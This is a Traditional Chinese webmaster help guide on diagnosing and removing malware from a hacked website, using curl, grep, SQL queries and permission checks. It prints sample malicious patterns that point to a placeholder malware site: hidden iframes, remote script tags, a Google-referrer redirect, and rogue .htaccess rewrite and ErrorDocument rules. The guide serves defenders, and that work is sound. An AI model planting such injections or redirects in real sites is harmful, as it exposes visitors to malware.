惡意軟體入侵

凡是刻意危害電腦、行動裝置、這些裝置執行的軟體,或其使用者的軟體或行動應用程式,均屬於惡意軟體。如要進一步瞭解惡意軟體,請參閱「惡意軟體和垃圾軟體」。

如果您的網站含有惡意軟體,使用者通常會在搜尋結果中看到警告「這個網站可能會損害你的電腦」,或是在使用者嘗試造訪您的網站時,在瀏覽器顯示的插頁式網頁上看到這類警告:

代表性惡意軟體插頁式網頁
含有惡意軟體警告的搜尋結果。

您必須具備下列條件:

  • 殼層或終端機管理員可存取網站的伺服器:網路、資料庫和檔案。
  • 熟悉殼層或終端機指令。
  • 能在資料庫上執行 SQL 查詢。

準備

  • 註冊 Search Console,然後按照說明驗證遭入侵網站的擁有權。Search Console 會提供受影響網頁的範例,讓您更輕鬆地找出並修正遭惡意軟體入侵的問題。此外,如果系統偵測到你的網站受到多種惡意軟體或其他駭客攻擊,也會發出警告。
  • 查看 Google 安全瀏覽診斷頁面,瞭解網站是否可能對使用者造成危害。你可以在類似以下的網址中查看網頁或網站的刊登狀態: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** 例如: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> 可以是特定網頁網址 (http://example.com/badpage),或是整個網站 (example.com)。

  • 請勿使用瀏覽器查看網站上的網頁。惡意軟體常會透過瀏覽器的安全漏洞傳播蔓延,所以在瀏覽器中開啟遭惡意軟體感染的網頁,可能會使您的電腦受損。除非診斷操作說明指出直接在瀏覽器中存取網頁,否則請使用 cURLWget 執行 HTTP 要求 (例如擷取網頁)。

    這些免費工具可協助診斷重新導向,甚至可靈活加入參照網址或使用者代理程式資訊。加入特定參照來源或使用者代理程式,有助於模擬駭客,因為駭客可能只會針對具有特定使用者代理程式或參照來源的使用者放送惡意內容,以便鎖定更多「真人」並避免遭到網站擁有者和惡意軟體掃描工具偵測。

`curl -v --referer "http://www.google.com" <your-url>`

以下範例同時指定使用者代理程式和參照網址:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

建議您擷取含有和不含 --referer "https://www.google.com" 的網頁,因為某些惡意軟體只有在使用者透過 Google 搜尋結果造訪時才會啟動。

  • 建立一個文件,用來記錄本步驟中查到的結果。這份文件最終會包含 (至少) 每個損毀檔案的名稱和位置,以及受感染方式的備註,並做為清理及維護網站的基礎。

  • 請觀看本頁稍早的影片,瞭解惡意軟體的運作方式,以及如何在惡意軟體調查期間確保安全。

診斷

判斷哪些惡意軟體影響了你的網站:

  1. 在 Search Console 中開啟網站的安全性問題報告。展開惡意軟體警告的說明,即可查看受影響網頁的示例清單。 請注意,這份清單並未列出所有內容,你可能無法取得網站上所有類型惡意軟體的示例網頁。
  2. 請測試示例網頁是否含有下列惡意軟體類型。

伺服器設定惡意軟體 (不必要的重新導向)

駭客已入侵您的網站,且很有可能已竄改您伺服器的設定檔,藉此將使用者從運作正常的網站重新導向至惡意軟體攻擊性網站。一般而言,伺服器設定檔可供網站管理員指定網址重新導向,以便讓訪客前往網站上的特定網頁或目錄。以 Apache 伺服器為例,指的就是 .htaccesshttpd.conf 檔案。

診斷

前往安全性問題報告中列出的部分示例網址。如果網頁已遭受「伺服器設定」類型的惡意軟體感染,該網頁傳送的回應可能含有下列標頭:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

判斷受影響的檔案

透過殼層或終端機存取登入伺服器 (您可視情況讓網站處於離線狀態),並檢視相關的伺服器設定檔。網站上可能會有多個遭到入侵的伺服器設定檔。請檢查這些檔案是否含有不必要的指令 (例如重新導向至不明網站)。舉例來說,.htaccess` 檔案中可能會顯示下列重新導向指令:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL 插入

駭客已入侵您網站的資料庫。舉例來說,駭客可能已透過程式將惡意程式碼植入資料庫表格的每筆記錄中;如此一來,當伺服器載入需要擷取資料庫資訊的網頁時,系統會將惡意程式碼嵌入該網頁的內容中,可能進一步對網站的訪客造成損害。

診斷

  1. 透過指令列對受影響的網址執行一些查詢,並檢查回應中是否有 SQL 攻擊字詞,例如「iframe」或「eval」。
  2. 登入資料庫伺服器,或使用工具 (例如 phpMyAdmin) 查看資料庫。如果您是使用 Wget 或 cURL,請透過 Wget 或 cURL 將網頁原始碼中顯示的損害與實際的資料庫項目建立關聯。舉例來說,如果您發現網頁含有危險的 iframe,可以執行 SQL 查詢來搜尋 iframe 程式碼。例如:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. 您也可以查看伺服器的資料庫記錄和錯誤檔案,確認是否有錯誤或異常的活動,例如一般使用者認為不尋常的 SQL 指令。

修正問題

更新每筆受感染的資料庫記錄,或是還原到最後一個已知資料庫備份。

程式碼植入

您網站上的網頁遭到竄改並植入惡意程式碼,例如透過 iframe 導向惡意軟體攻擊性網站。

診斷

使用 cURL 或 wGet 前往安全性問題報告中列出的部分示例網址,並檢查是否有可疑程式碼。注入的程式碼可能有多種類型,而且很難找出。建議您可以搜尋「iframe」這類字詞,藉此找出 iframe 程式碼。此外,「script」、「eval」和「unescape」等也都是實用的關鍵字。舉例來說,您可以針對 Unix 系統中的所有檔案搜尋「iframe」:

$grep -irn "iframe" ./ | less</pre>

以下是一些常見的惡意軟體模式,供您參考。

載入惡意網站的 iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

呼叫及執行攻擊性網站指令碼的 JavaScript 或其他指令碼語言:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

將瀏覽器重新導向至攻擊性網站的指令碼:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

以矇騙手法躲避偵測的惡意程式碼:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

專門用於隨機將有害程式碼寫入正常指令碼的共用目標檔:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

惡意錯誤範本

用於顯示錯誤訊息的範本 (例如「404 找不到檔案」) 遭駭客竄改設定,導致散佈惡意軟體。如此一來,即使網址不在您的網站上,攻擊者也能對該網址發動攻擊。

診斷

針對不在您網站上或擲回另一種錯誤的網頁提出要求,並檢查回應是否來自其他網站;如果不是,就表示該網頁含有惡意軟體。

修正問題

登入您的網路伺服器,並針對伺服器設定檔搜尋錯誤網頁指令。舉例來說,.htaccess 檔案中會宣告 Apache 網路伺服器適用的錯誤範本。.htaccess以下是從惡意網站擷取 404 錯誤網頁的 .htaccess 檔案項目範例:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

當您準備開始清理網站時,可以選擇利用已知的正常備份替換 .htaccess 檔案,或是刪除現有 .htaccess 檔案中不必要的 ErrorDocument 指令。如果您的網站上確實有錯誤檔案存在,請一併予以清除。最後,請重新啟動網路伺服器,確保所有變更都能生效。

從遭入侵或惡意網站載入的資源 {compromised-resources}

你的網站使用已知含有惡意內容的網站內容或資源。這些檔案可能是 JavaScript 檔案、圖片或其他檔案。因此,您的網站會因從其他網站載入的惡意軟體而遭到標記。

診斷

前往安全性問題報告中列出的部分示例網址。

修正問題

  1. 如要確認問題,請瀏覽 Search Console 安全性問題報告中列出的幾個示例網址。您應該會看到瀏覽器警告。
  2. 瀏覽器會透過警告向您說明可疑內容所在的網域。請針對瀏覽器警告中列出的受檢舉網站移除所有參照。如果您在不知情下納入受檢舉網站的內容,則問題會更嚴重。你的網站很可能已遭到入侵,因此你應該繼續檢查網站是否有其他駭客攻擊和安全漏洞。
  3. 如果您刻意納入遭標記的網站內容,且在清除標記的網站後想要重新納入該內容,您可以使用該網站的 Google 安全瀏覽診斷頁面 (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} 監控標記的網站狀態。合法網站的擁有者通常會迅速清理網站。

額外調查

接著,請檢查系統是否有其他惡意檔案或變更。駭客可能已修改現有網頁或資料庫記錄、建立全新的垃圾資訊網頁、編寫在乾淨網頁上顯示垃圾資訊的函式,或是留下「後門」,讓駭客可重新進入你的網站,或重新注入你已移除的惡意程式碼。

如果網站已上線,建議您在調查期間將網站設為離線。

如果您有網站的正常備份,請找出備份後建立或修改的檔案,並進行調查。在以 Unix 為基礎的系統中,您可以使用下列指令找出新檔案:

diff -qr <current-directory> <backup-directory>

例如:

diff -qr www/ backups/full-backup-20120124/

此外:

md5sum <current-page> <backup-page>

例如:

md5sum www/page.html backups/full-backup-20120124/page.html

檢查伺服器、存取和錯誤記錄,找出任何可疑活動,例如登入失敗、指令記錄 (尤其是以 root 身分),以及建立不明使用者帳戶。請注意,駭客可能會為了自己的目的而變更這些記錄。找出安全漏洞影片中會顯示一些範例。

檢查設定檔是否有重新導向。設定檔的名稱通常為 .htaccesshttpd.conf。駭客通常會根據使用者代理程式、時段或參照網址建立條件式重新導向。如果您需要更新設定檔,可能需要重新啟動伺服器,變更才會生效。

檢查資料夾和檔案權限是否過於寬鬆。駭客會竄改權限,因為如果網站擁有者未偵測到寬鬆的權限,駭客就會有辦法重新進入網站。檔案大小超過 644 (rw-r--r--),資料夾大小超過 755 (rwxr-xr-x) 時,可能會導致安全性問題。請確認給予這些資料夾如此低權限的必要性。在以 Unix 為基礎的系統上,請嘗試:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

和:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

如果您有資料庫,請使用 phpMyAdmin 等工具逐筆記錄調查。